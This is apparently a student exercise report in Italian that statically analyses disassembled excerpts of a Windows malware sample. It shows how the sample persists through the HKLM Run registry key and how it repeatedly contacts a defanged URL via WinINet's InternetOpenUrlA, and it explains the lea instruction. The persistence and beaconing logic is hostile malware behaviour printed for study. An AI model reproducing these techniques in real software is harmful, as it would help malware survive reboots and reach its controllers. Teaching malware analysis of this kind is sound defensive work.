WINDOWS MALWARE

S11/L1

ELEONORA VIOLA

TABLE OF CONTENT

INTRODUCTION

Traccia:
Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:
• Descrivere come il malware ottiene la persistenza , evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
• Identificare il client software utilizzato dal malware per la connessione ad Internet
• Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL
• BONUS: qual è il significato e il funzionamento del comando assembly "lea"

Traccia:

```
00040286F  push    2                 ; samDesired
00402871   push    eax               ; ulOptions
00402872   push    offset SubKey     ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877   push    HKEY_LOCAL_MACHINE ; hKey
0040287C   call    esi ; RegOpenKeyExW
0040287E   test    eax, eax
00402880   jnz     short loc_4028C5
00402882
00402882 loc_402882:
00402882   lea     ecx, [esp+424h+Data]
00402886   push    ecx               ; lpString
00402887   mov     bl, 1
00402889   call    ds:lstrlenW
0040288F   lea     edx, [eax+eax+2]
00402893   push    edx               ; cbData
00402894   mov     edx, [esp+428h+hKey]
00402898   lea     eax, [esp+428h+Data]
0040289C   push    eax               ; lpData
0040289D   push    1                 ; dwType
0040289F   push    0                 ; Reserved
004028A1   lea     ecx, [esp+434h+ValueName]
004028A8   push    ecx               ; lpValueName
004028A9   push    edx               ; hKey
004028AA   call    ds:RegSetValueExW
```

4

Traccia:

```
.text:00401150 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
.text:00401180
```

PROCEDURE

1. Meccanismo di Persistenza

Il malware ottiene la persistenza modificando il Registro di Windows.

Nel codice assembly mostrato nel primo screenshot, i passaggi cruciali sono:

- percorso del Registro: **"Software\\Microsoft\\Windows\\CurrentVersion\\Run"**
- chiamata di funzione: Il malware utilizza **RegSetValueExW** per creare o modificare una chiave di registro che punta all'eseguibile del malware, garantendo così che venga eseguito all'avvio.

Istruzioni Chiave:

- **push 2** – imposta i diritti di accesso necessari per aprire la chiave.
- **push offset SubKey** – Punta alla chiave di registro "Run".
- **push HKEY_LOCAL_MACHINE** – Indica l'hive del registro a cui si sta accedendo.
- **call esi** – chiama RegOpenKeyExW per aprire la chiave.
- Le istruzioni successive preparano i dati e invocano RegSetValueExW per impostare il valore che garantisce l'esecuzione del malware all'avvio del sistema.

PROCEDURE

2. Software Client Utilizzato per la Connessione a Internet

Il secondo screenshot mostra l'uso delle funzioni InternetOpenA e InternetOpenUrlA, che fanno parte delle API di Windows utilizzate dal malware per stabilire una connessione a Internet. Queste funzioni sono tipicamente parte della libreria WinINet, usata dalle applicazioni per interagire con protocolli Internet come HTTP.

Istruzione Chiave:

- call ds:InternetOpenA – Inizializza le funzioni di WinINet, specificando lo user-agent "Internet Explorer 8.0".
- call edi – Questa è una chiamata indiretta a InternetOpenUrlA, che è la funzione chiave utilizzata per aprire un URL.

3. URL Target del Malware

L'URL a cui il malware tenta di connettersi è mostrato nel secondo screenshot:

- URL: http://www.malware12[.]com
- La funzione InternetOpenUrlA viene utilizzata per connettersi a questo URL.

Istruzioni Chiave:

- push offset szUrl – Questa istruzione carica l'indirizzo della stringa contenente l'URL nello stack.
- call edi – Chiamata indiretta a InternetOpenUrlA per connettersi all'URL.

4. BONUS: Funzionalità di lea in Assembly

L'istruzione lea (Load Effective Address) in assembly viene utilizzata per caricare l'indirizzo di una variabile o di una locazione di memoria in un registro. Non dereferenzia effettivamente la memoria, ma calcola semplicemente l'indirizzo e lo memorizza in un registro.
È spesso utilizzata per l'aritmetica dei puntatori o per calcolare gli offset in modo efficiente.